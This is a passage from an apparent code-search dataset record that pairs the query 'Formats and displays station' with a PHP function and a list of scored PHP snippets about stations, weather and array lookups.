$row_result=mysql_num_rows($result);\n while($row=mysql_fetch_object($result))\n {\t\t\t\t\t\t\t\t\t\n //$geo_id=$row->station_id;\n //$customer_no=$row->customer_no;\n $data[]=array('geo_id'=>$row->station_id,'customer_no'=>$row->customer_no);\t\n }\n return $data;\n}", "protected function setStationID(){\n\t\t$result = array(\"ss_id\",\"ss_id\");\n\t\treturn $result;\n\t}", "protected function setStationID(){\n\t\t$result = array(\"ss_id\",\"ss_id\");\n\t\treturn $result;\n\t}", "private function getIdInArray($array, $term)\n {\n foreach ($array as $key => $value) {\n if ($value == $term) {\n return $key;\n }\n }\n\n throw new UnexpectedValueException;\n }", "function getLessIndex($packList,$start,$num)\n{\n for ($i=$start;$i<count($packList);$i++)\n {\n if((int)$packList[$i]['pack_of']>$num)\n {\n $i++;\n }else{\n return $i;\n }\n }\n}", "private function getArrayIndexByKeyValue($array, $value, $key = 'id')\n {\n foreach ($array as $index => $result) {\n if ($result[$key] === $value) {\n return $index;\n }\n }\n\n return false;\n }", "private static function arrayCallbackSearch(array $arr, callable $searchCallback): ?int\n\t{\n\t\tforeach ($arr as $key => $item) {\n\t\t\tif (\\call_user_func($searchCallback, $item, $key)) {\n\t\t\t\treturn $key;\n\t\t\t}\n\t\t}\n\n\t\treturn null;\n\t}", "function getPortIndex($p_ifnumber, $p_ip='') {\n $portIndex = '';\n foreach ($this->ports as $index => $oPort) {\n if (is_object($oPort)) { // should always be true\n if ($oPort->getValue('logical_number')==$p_ifnumber) {\n $portIndex = $index;\n break;\n }\n }\n }\n// if ($portIndex == '' AND $p_ip != '') {\n// foreach ($this->ports as $index => $oPort) {\n// if ($oPort->getValue('ifaddr')==$p_ip) {\n// $portIndex = $index;\n// break;\n// }\n// }\n// }\n return $portIndex;\n }", "public function indexOf($value)\n {\n return array_search($value, $this->stack, true);\n }", "public function indexOf()\n {\n \n}", "function convertirDiaSemanaInt($letraDiaSemana) {\n\t$diaSemana = array(\"L\",\"K\",\"M\",\"J\",\"V\",\"S\");\n\tfor($dS=0;$dS< count($diaSemana);$dS++) {\n\t\tif($letraDiaSemana == $diaSemana[$dS]) {\n\t\t\treturn $dS;\n\t\t}\n\t}\n\treturn -1;\n}" ]
[ "0.63796544", "0.62801325", "0.5961767", "0.5904147", "0.5861937", "0.5849601", "0.582228", "0.5756937", "0.5708686", "0.5703343", "0.5696692", "0.5637787", "0.55793285", "0.5578864", "0.55673933", "0.5535584", "0.5534612", "0.55225575", "0.54975885", "0.54793376", "0.54644823", "0.5460277", "0.54315037", "0.54185164", "0.5407388", "0.53358734", "0.5320583", "0.53051573", "0.53040594", "0.53020996", "0.5299638", "0.52918446", "0.52812195", "0.5278397", "0.52612406", "0.5255817", "0.5236116", "0.52245253", "0.5221635", "0.5217678", "0.5211681", "0.5200656", "0.51831114", "0.51799136", "0.517354", "0.5165717", "0.5142377", "0.51399684", "0.5138085", "0.5136683", "0.5111709", "0.51080436", "0.5100292", "0.5092329", "0.5084324", "0.5084324", "0.5081533", "0.5080933", "0.50800306", "0.5075499", "0.5066847", "0.5045703", "0.50433916", "0.49941447", "0.49721313", "0.49622202", "0.49549538", "0.49534836", "0.49489236", "0.49427074", "0.49414665", "0.49315032", "0.4927331", "0.4916569", "0.49149302", "0.49106157", "0.49086967", "0.49086967", "0.49086967", "0.49019852", "0.48968506", "0.48964822", "0.48908725", "0.48879912", "0.48859942", "0.48859942", "0.48850912", "0.48694983", "0.4867889", "0.48637053", "0.48581457", "0.48581457", "0.48569086", "0.48365754", "0.483311", "0.48191854", "0.48112383", "0.48066062", "0.48053885", "0.47975585" ]
0.80100924
0
Formats and displays station
function displayStation ($station, $value) { global $THRESHOLD, $IN_SERVICE; $str = $station->$value." @ ".$station->name; if ($station->status != $IN_SERVICE) return "<b><font color='red'>".$station->status."</font></b>"; if (intval($station->$value) < $THRESHOLD) return "<b><font color='red'>".$str."</font></b>"; return $str; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function get_station( ) {\n// This function is never called. It is here for completeness of documentation.\n\n if (strlen($this->current_group_text) == 4) {\n $this->wxInfo['STATION'] = $this->current_group_text;\n $this->current_ptr++;\n }\n $this->current_group++;\n }", "public function getStation() {\n\t\t$stations = @file(Flight::get(\"pathStation\"),FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);\n\t\tif (count($stations) >=1 && $stations ) {\n\t\t\tforeach ($stations as $station) {\n\t\t\t\t$station = explode(\"#\",$station);\n\t\t\t\t$x = explode(' ',$station[0]);\n\t\t\t\t$entry[] = array('URL'=>rtrim($x[1]),'name'=>ltrim($station[1],\"#\"),'selected'=> $x[0]);\n\t\t\t}\n\t\t\tFlight::json(array('Status' => \"OK\", 'station' => $entry));\n\t\t}\n\t\telse Flight::json(array('Status' => \"KO\", 'station' => 'Not Found'));\n\t}", "public function format() { \n\n\t\t$this->f_start = inet_ntop($this->start); \n\t\t$this->f_end = inet_ntop($this->end); \n\n\t\t$this->f_user = $this->get_user_name(); \n\t\t$this->f_level = $this->get_level_name(); \n\t\t$this->f_type = $this->get_type_name(); \n\n\t}", "public function getStationName(): string\n {\n return $this->name;\n }", "public function getStation()\n {\n return $this->station;\n }", "private function whichStation() {\n\t\t$stations = @file(Flight::get(\"pathStation\"),FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);\n\t\tif (count($stations) >=1 && $stations ) {\n\t\t\t$x = '';\n\t\t\tforeach ($stations as $st) {\n\t\t\t\tif (substr($st,0,1) == '1') {\n\t\t\t\t\t$x = substr($st,1);\n\t\t\t\t\t$x = explode(\" #\",$x);\n\t\t\t\t\t$x = $x[0];\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ($x == '') {$x = Flight::get(\"defaultStation\");}\n\t\t}\n\t\telse $x = (Flight::get(\"defaultStation\"));\n\t\treturn trim($x);\n\t}", "public function getStation()\n {\n return $this->_station;\n }", "public function format()\n\t{\n\t\t// Get the event data\n\t\t$channel_data = & Swiftriver_Event::$data;\n\t\t\n\t\tif (isset($channel_data['channel']) AND $channel_data['channel'] == 'twitter')\n\t\t{\n\t\t\t$parameters = $channel_data['parameters']['value'];\n\t\t\t\n\t\t\tif (isset($parameters['user']))\n\t\t\t{\n\t\t\t\t$channel_data['display_name'] .= 'From: '.$parameters['user'];\n\t\t\t}\n\t\t\tif (isset($parameters['keyword']))\n\t\t\t{\n\t\t\t\t$channel_data['display_name'] .= ' Keywords: '.$parameters['keyword'];\n\t\t\t}\n\t\t\tif (isset($parameters['location']))\n\t\t\t{\n\t\t\t\t$channel_data['display_name'] .= ' Location: '.$parameters['location'];\n\t\t\t}\n\t\t}\n\t}", "public function stationview_get(){\n\t\t$id = $this->get('id');\n\t\tif(count($this->get())>1){\n\t\t\t$response = array(\n\t\t\t\t\"status\"=>\"error\",\n\t\t\t\t\"status_code\"=>409,\n\t\t\t\t\"message\"=>\"Too many params was sent\",\n\t\t\t\t\"validations\"=>array(\n\t\t\t\t\t\"id\"=>\"Send Id (Get) to get specific station, or empty to get all stations\"\n\t\t\t\t),\n\t\t\t\t\"data\"=>null\n\t\t\t);\n\t\t}else{\n\t\t\tif($id){\n\t\t\t\t$response = $this->DAO->entitySelection('systemStation',array('idStation'=>$id),TRUE);\n\t\t\t}else{\n\t\t\t\t$response = $this->DAO->entitySelection('systemStation');\n\t\t\t}\n\t\t}\n\t\t$this->response($response,200);\n\t}", "public function addStation()\n {\n $name = $_GET['name'];\n $zone = $_GET['zone'];\n\n if ($this->model->addStation($name, $zone))\n return 'Station ajoutée !';\n return 'Cette station existe déjà';\n }", "public function selectStation($station) {\n\t\t$stations = @file(Flight::get(\"pathStation\"),FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);\n\t\tif (count($stations) >=1 && $stations ) {\n\t\t\t$i=0;\n\t\t\t$x = [];\n\t\t\tforeach ($stations as $st) {\n\t\t\t\tif ($station == $i) {$x[] = '1'.substr($st,1);}\n\t\t\t\telse {$x[] = '0'.substr($st,1);}\n\t\t\t\t$i++;\n\t\t\t}\n\t\t\t$str = implode(\"\\n\", $x);\n\t\t\tfile_put_contents(Flight::get(\"pathStation\"), $str);\n\t\t\t// if radio is running, restart it with new station\n\t\t\tif (self::isAudioRunning()) {\n\t\t\t\tself::stopRadio();\n\t\t\t\tself::startRadio();\n\t\t\t}\n\t\t\tFlight::json(array('Status' => 'OK','Station' => $station));\n\t\t}\n\t\telse Flight::json(array('Status' => \"KO\", 'station' => 'Not Found'));\n\t}", "protected function get_station_type( ) {\n if ($this->current_group_text == 'AUTO' || $this->current_group_text == 'COR') {\n $this->wxInfo['CODE_STATION_TYPE'] = $this->current_group_text;\n $this->varConcatenate($this->wxInfo, 'IGNORES', $this->current_group_text);\n $this->current_ptr++;\n }\n $this->current_group++;\n }", "function getTitle(&$record){\n $type = array('H' => 'Hydrological Station', 'M'=>'Meteorological Station');\n $title = \"\".$type[$record->val('type_station')].\" - id: \".$record->val('id_station');\n \n return $title;\n }", "function displayDashboard($myLocations, $myStations, $lastUpdated) {\n?>\n <?=$lastUpdated?> | <a href=\"<?=$GLOBALS['MAP_URL']?>\" target=\"_blank\">citibike live station map</a>\n <table cellpadding=\"2\">\n <tr><th colspan=\"2\">Going to work</th></tr>\n <tr><td>Available Bikes</td><td>Available Docks</td></tr>\n <tr valign=\"top\">\n <?php \n $count = 0;\n foreach ($myLocations as $type => $location) { \n ?>\n <td>\n <?php \n foreach ($myStations as $station) \n if ($station->type == $type) \n echo displayStation($station, $count == 0 ? \"bikes\" : \"docks\").\"<br />\";\n ?>\n </td>\n <?php \n $count++;\n } \n ?>\n </tr>\n <tr><th colspan=\"2\">Heading home</th></tr>\n <tr><td>Available Bikes</td><td>Available Docks</td></tr>\n <tr valign=\"top\">\n <tr valign=\"top\">\n <?php \n $count = 0;\n foreach (array_reverse($myLocations) as $type => $location) { \n ?>\n <td>\n <?php \n foreach ($myStations as $station) \n if ($station->type == $type) \n echo displayStation($station, $count == 0 ? \"bikes\" : \"docks\").\"<br />\";\n ?>\n </td>\n <?php \n $count++;\n } \n ?>\n </tr>\n </table>\n<?php\n }", "abstract function format();", "public function run()\n {\n $station = new \\App\\Station();\n $station->code = \"OR14\";\n $station->kilometer_marker = 13.54;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"ศูนย์วัฒนธรรมแห่งประเทศไทย\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Thailand Cultural Center\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR15\";\n $station->kilometer_marker = 15.05;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"รฟม.\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"MRTA\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR16\";\n $station->kilometer_marker = 16.62;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"ประดิษฐ์มนูธรรม\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Pradit Manutham\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR17\";\n $station->kilometer_marker = 18.77;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"รามคำแหง 12\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Ramkhamhaeng 12\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR18\";\n $station->kilometer_marker = 19.98;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"มหาวิทยาลัยรามคำแหง\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Ramkhamhaeng University\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR19\";\n $station->kilometer_marker = 20.93;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"ราชมังคลา\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Rajamangala\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR20\";\n $station->kilometer_marker = 22.20;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"หัวหมาก\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Hua Mak\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR21\";\n $station->kilometer_marker = 23.20;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"ลำสาลี\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Lam Sali\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR22\";\n $station->kilometer_marker = 24.56;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"ศรีบูรพา\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Si Burapha\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR23\";\n $station->kilometer_marker = 25.75;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"คลองบ้านม้า\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Khlong Ban Ma\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR24\";\n $station->kilometer_marker = 26.73;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"สัมมากร\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Sammakon\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR25\";\n $station->kilometer_marker = 28.66;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"น้อมเกล้า\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Nom Klao\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR26\";\n $station->kilometer_marker = 29.95;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"ราษฎร์พัฒนา\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Rat Phatthana\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR27\";\n $station->kilometer_marker = 31.01;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"วัดบางเพ็ง\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Wat Bang Pheng\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR28\";\n $station->kilometer_marker = 32.59;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"เคหะรามคำแหง\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Kheha Ramkhamhaeng\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR29\";\n $station->kilometer_marker = 33.85;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"มีนบุรี\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Min Buri\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR30\";\n $station->kilometer_marker = 34.63;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"สุวินทวงศ์\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Suwinthawong\";\n $station_translation->save();\n }", "protected function setShortDataType()\n {\n // TODO: Implement setShortDataType() method.\n return \"Single Station Events\";\n }", "function show() {\n // Abort if empty file\n if($this->oParser->oManager->tsCurDate < 1) {\n return;\n }\n \n // We want to process the output later\n ob_start();\n\n $this->printHeading();\n $this->printDailyMessages();\n $this->printAbsentTeachers();\n $this->printStandInTable();\n $this->printStandInTableFooter();\n\n $str = ob_get_clean();\n #debugPrint($str);\n echo vpBeautifyString($str);\n }", "public function getUbntStation()\n {\n $ubntlibrary = new UbntLibrary();\n $ubntlibrary->getUbntStation($this);\n }", "function display_format($var) {\n\tswitch($var) {\n\n\tcase \"sticker\":\t\treturn \"Sticker #\";\n\tcase \"type\":\t\treturn \"Type\";\n\tcase \"description\":\treturn \"Description\";\n\tcase \"serial\":\t\treturn \"Serial\";\n\tcase \"purchasedate\":\treturn \"Purchase Date\";\n\tcase \"temp_assignment\":\treturn \"Assignment\";\n\tcase \"computernumber\":\treturn \"Number\";\n\tcase \"videocard\":\treturn \"Video Card\";\n\tcase \"videobus\":\treturn \"Bus Type\";\n\tcase \"cpu\":\t\treturn \"CPU Type\";\n\tcase \"harddrive\":\treturn \"Hard Drive\";\n\tcase \"memory\":\t\treturn \"Memory\";\n\tcase \"servicetag\":\treturn \"Dell Tag\";\n\tcase \"batch\":\t\treturn \"Batch\";\n\tcase \"expresscode\":\treturn \"Express Code\";\n\tcase \"warranty\":\treturn \"Warranty\";\n\tcase \"mayadongle\":\treturn \"Maya Dongle\";\n\tcase \"firstname\":\treturn \"First Name\";\n\tcase \"lastname\":\treturn \"Last Name\";\n\tcase \"department\":\treturn \"Department\";\n\tcase \"extension\":\treturn \"Extension\";\n\tcase \"status\":\t\treturn \"Status\";\n\tcase \"user_status\":\treturn \"Status\";\n\tcase \"active\":\t\treturn \"Active\";\n\t\t\n\tdefault: return \"NOT FORMATTED: $var\";\n\t}\n}", "public function setStation($station)\n {\n $this->station = $station;\n }", "public function create()\n {\n return view('stations.create');\n }", "public function station_get(){\n\t\t$id = $this->get('id');\n\t\tif(count($this->get())>1){\n\t\t\t$response = array(\n\t\t\t\t\"status\"=>\"error\",\n\t\t\t\t\"status_code\"=>409,\n\t\t\t\t\"message\"=>\"Too many params was sent\",\n\t\t\t\t\"validations\"=>array(\n\t\t\t\t\t\"id\"=>\"Send Id (Get) to get specific station, or empty to get all stations\"\n\t\t\t\t),\n\t\t\t\t\"data\"=>null\n\t\t\t);\n\t\t}else{\n\t\t\tif($id){\n\t\t\t\t$response = $this->DAO->entitySelection('station',array('idStation'=>$id),TRUE);\n\t\t\t}else{\n\t\t\t\t$response = $this->DAO->entitySelection('station');\n\t\t\t}\n\t\t}\n\t\t$this->response($response,200);\n\t}", "public function index()\n {\n $StationDetails = array(\"station_name\"=>\"\",\n \"station_number\"=>\"\",\n \"city\"=>\"\",\n \"longitude\"=>\"\",\n \"latitude\"=>\"\",\n \"code\"=>\"\",\n \"region\"=>\"\",\n \"StationCategory\"=>\"\",\n // \"10m_node\"=>array(\n // \"name\"=>\"10m node\",\n // \"txt_key\"=>\"TXT\",\n // \"mac_add\"=>\"E64\",\n // \"date\"=>\"D\",\n // \"vin_label\"=>\"V_IN\",\n // \"time\"=>\"TZ\",\n // \"gwlat\"=>\"GW_LAT\",\n // \"gwlong\"=>\"GW_LONG\",\n // \"v_in_max_value\"=>\"4\",\n // \"v_in_min_value\"=>\"2\",\n // \"ttl\"=>\"TTL\",\n // \"rssi\"=>\"RSSI\",\n // \"lqi\"=>\"LQI\",\n // \"drp\"=>\"DRP\",\n // \"ps\"=>\"PS\",\n // \"v_mcu_max_value\"=>\"3\",\n // \"v_mcu_min_value\"=>\"1\",\n // \"v_mcu_label\"=>\"V_MCU\",\n // \"ut\"=>\"UT\",\n // ),\n // \"ground_node\"=>array(\n // \"name\"=>\"ground node\",\n // \"txt_key\"=>\"TXT\",\n // \"mac_add\"=>\"E64\",\n // \"date\"=>\"D\",\n // \"vin_label\"=>\"V_IN\",\n // \"time\"=>\"TZ\",\n // \"ut\"=>\"UT\",\n // \"gwlat\"=>\"GW_LAT\",\n // \"gwlong\"=>\"GW_LONG\",\n // \"v_in_max_value\"=>\"4\",\n // \"v_in_min_value\"=>\"2\",\n // \"ttl\"=>\"TTL\",\n // \"rssi\"=>\"RSSI\",\n // \"lqi\"=>\"LQI\",\n // \"drp\"=>\"DRP\",\n // \"ps\"=>\"PS\",\n // \"v_mcu_max_value\"=>\"3\",\n // \"v_mcu_min_value\"=>\"1\",\n // \"v_mcu_label\"=>\"V_MCU\",\n // \"po\"=>\"P0\",\n // \"rain_pulses\"=>\"P0_IST60\",\n // \"up\"=>\"UP\",\n // \"t\"=>\"T\",\n // \"v_a2\"=>\"V_A2\",\n \n // ),\n // \"sink_node\"=>array(\n // \"name\"=>\"Sink node\",\n // \"txt_key\"=>\"TXT\",\n // \"mac_add\"=>\"E64\",\n // \"date\"=>\"D\",\n // \"vin_label\"=>\"V_IN\",\n // \"time\"=>\"TZ\",\n // \"gwlat\"=>\"GW_LAT\",\n // \"gwlong\"=>\"GW_LONG\",\n // \"v_in_max_value\"=>\"4\",\n // \"v_in_min_value\"=>\"2\",\n // \"ttl\"=>\"TTL\",\n // \"rssi\"=>\"RSSI\",\n // \"lqi\"=>\"LQI\",\n // \"drp\"=>\"DRP\",\n // \"ps\"=>\"PS\",\n // \"v_mcu_max_value\"=>\"3\",\n // \"v_mcu_min_value\"=>\"1\",\n // \"v_mcu_label\"=>\"V_MCU\",\n // \"ut\"=>\"UT\",\n // \"up\"=>\"UP\",\n \n // ),\n // \"2m_node\"=>array(\n // \"name\"=>\"2m node\",\n // \"txt_key\"=>\"TXT\",\n // \"mac_add\"=>\"E64\",\n // \"date\"=>\"D\",\n // \"vin_label\"=>\"V_IN\",\n // \"time\"=>\"TZ\",\n // \"gwlat\"=>\"GW_LAT\",\n // \"gwlong\"=>\"GW_LONG\",\n // \"v_in_max_value\"=>\"4\",\n // \"v_in_min_value\"=>\"2\",\n // \"ttl\"=>\"TTL\",\n // \"rssi\"=>\"RSSI\",\n // \"lqi\"=>\"LQI\",\n // \"drp\"=>\"DRP\",\n // \"ps\"=>\"PS\",\n // \"v_mcu_max_value\"=>\"3\",\n // \"v_mcu_min_value\"=>\"1\",\n // \"v_mcu_label\"=>\"V_MCU\",\n // \"ut\"=>\"UT\",\n // ),\n // \"Temp_semsor\"=>array(\n // \"parameter_read\"=>\"Temperature\",\n // \"identifier_used\"=>\"T_SHT2X\",\n // \"max_value\"=>\"6\",\n // \"min_value\"=>\"2\",\n // \"rpt_intvl\"=>\"1\",\n // ),\n \n // \"wind_speed_semsor\"=>array(\n // \"parameter_read\"=>\"wind speed\",\n // \"identifier_used\"=>\"P0_LST60\",\n // \"max_value\"=>\"5\",\n // \"min_value\"=>\"3\",\n // \"rpt_intvl\"=>\"1\",\n // ),\n // \"wind_direction_semsor\"=>array(\n // \"parameter_read\"=>\"wind direction\",\n // \"identifier_used\"=>\"V_A1,V_A2\",\n // \"max_value\"=>\"360\",\n // \"min_value\"=>\"0\",\n // \"rpt_intvl\"=>\"1\",\n // ),\n // \"insulation_sensor\"=>array(\n // \"parameter_read\"=>\"insolation\",\n // \"identifier_used\"=>\"V_AD1,V_AD2\",\n // \"max_value\"=>\"2\",\n // \"min_value\"=>\"1\",\n // \"rpt_intvl\"=>\"1\",\n // ),\n // \"relative_humidity_semsor\"=>array(\n // \"parameter_read\"=>\"relative humidity\",\n // \"identifier_used\"=>\"RH_SHT2X\",\n // \"max_value\"=>\"6\",\n // \"min_value\"=>\"1\",\n // \"rpt_intvl\"=>\"1\",\n // ),\n // \"soil_moisture_semsor\"=>array(\n // \"parameter_read\"=>\"soil moisture\",\n // \"identifier_used\"=>\"V_A1,V_A2\",\n // \"max_value\"=>\"5\",\n // \"min_value\"=>\"2\",\n // \"rpt_intvl\"=>\"1\",\n // ),\n // \"soil_temp_semsor\"=>array(\n // \"parameter_read\"=>\"soil temperature\",\n // \"identifier_used\"=>\"T1\",\n // \"max_value\"=>\"2\",\n // \"min_value\"=>\"1\",\n // \"rpt_intvl\"=>\"1\",\n // ),\n // \"preciptation_semsor\"=>array(\n // \"parameter_read\"=>\"preciptation\",\n // \"identifier_used\"=>\"P0_IST60\",\n // \"max_value\"=>\"4.5\",\n // \"min_value\"=>\"4.7\",\n // \"rpt_intvl\"=>\"1\",\n // ),\n // \"pressure_semsor\"=>array(\n // \"parameter_read\"=>\"pressure\",\n // \"identifier_used\"=>\"P_MS5611\",\n // \"max_value\"=>\"8\",\n // \"min_value\"=>\"1\",\n // \"rpt_intvl\"=>\"1\",\n );\n\n return view('layouts.addstation')\n ->with('stationdetails', $StationDetails);\n }", "public function Show () {\n\n $this->show_id = 0;\n $this->created = 0;\n $this->modified = 0;\n $this->user_id = 0;\n\n $this->event_id = 0;\n $this->venue_id = 0;\n\n $this->event = NULL;\n $this->venue = NULL;\n\n $this->day = '';\n $this->dateString = '';\n $this->timeString = '';\n $this->date_time = '';\n\n $this->shortDate = '';\n $this->longDate = '';\n $this->shortMonth = '';\n $this->dayOfMonth = '';\n $this->shortDay = '';\n $this->timeOfDay = '';\n }", "function parseWeather()\n\t{\n\t\tif(sizeof($this->racine->loc->dnam)>0)\n\t\t{\n\t\t$this->stationNom = $this->racine->loc->dnam;\n\t\t$this->stationLat = $this->racine->loc->lat;\n\t\t$this->stationLon = $this->racine->loc->lon;\n\t\t\n\t\t$this->dirVentDeg = $this->racine->cc->wind->d;\n\t\t$this->dirVentTxt = $this->racine->cc->wind->t;\n\t\t$this->vitVentKmh = $this->racine->cc->wind->s;\n\t\t$this->rafaleVent = $this->racine->cc->wind->gust;\n\t\t$this->vitVentUs = $this->racine->head->us;\n\t\t$this->vitVentMps = 1000*$this->vitVentKmh/3600.0;\n\t\t\n\t\t$this->pressionAt = $this->racine->cc->bar->r;\n\t\t$this->pressionUp = $this->racine->head->up;\n\t\t$evol = $this->racine->cc->bar->d;\n\t\tswitch($evol){\n\t\t\tcase 'rising':$this->pressEvol = \"en hausse\";break;\n\t\t\tdefault: $this->pressEvol = $evol;\n\t\t}\n\t\t\n\t\t$this->humidite = $this->racine->cc->hmid;\n\t\t$this->visibilite = $this->racine->cc->vis;\n\t\t\n\t\t$this->forceUVval = $this->racine->cc->uv->i;\n\t\t$this->forceUVtxt = $this->racine->cc->uv->t;\n\t\t\n\t\t$this->dewPoint = $this->racine->cc->dewp;\n\t\t\n\t\t$this->temperature = $this->racine->cc->tmp;\n\t\t\n\t\t$this->lastMesure = $this->racine->cc->lsup;\n\t\t\n\t\t$couvert = $this->racine->cc->t;\n\t\tswitch($couvert){\n\t\t\tcase 'Mostly Cloudy':$this->couverture = 'Nuages épars';break;\n\t\t\tcase 'Cloudy':$this->couverture = 'Quelques Nuages';break;\n\t\t\tdefault: $this->couverture = $couvert; break;\n\t\t}\n\t\t\n\t\t$phase = $this->racine->cc->moon->t;\n\t\tswitch($phase){\n\t\t\tcase 'Waxing Crescent':$this->phaseLune='1er croissant';break;\n\t\t\tdefault: $this->phaseLune=$phase;break;\n\t\t}\n\t }\n\t}", "function showNoticeLocation()\n {\n $id = $this->notice->id;\n\n $location = $this->notice->getLocation();\n\n if (empty($location)) {\n return;\n }\n\n $name = $location->getName();\n\n $lat = $this->notice->lat;\n $lon = $this->notice->lon;\n $latlon = (!empty($lat) && !empty($lon)) ? $lat.';'.$lon : '';\n\n if (empty($name)) {\n $latdms = 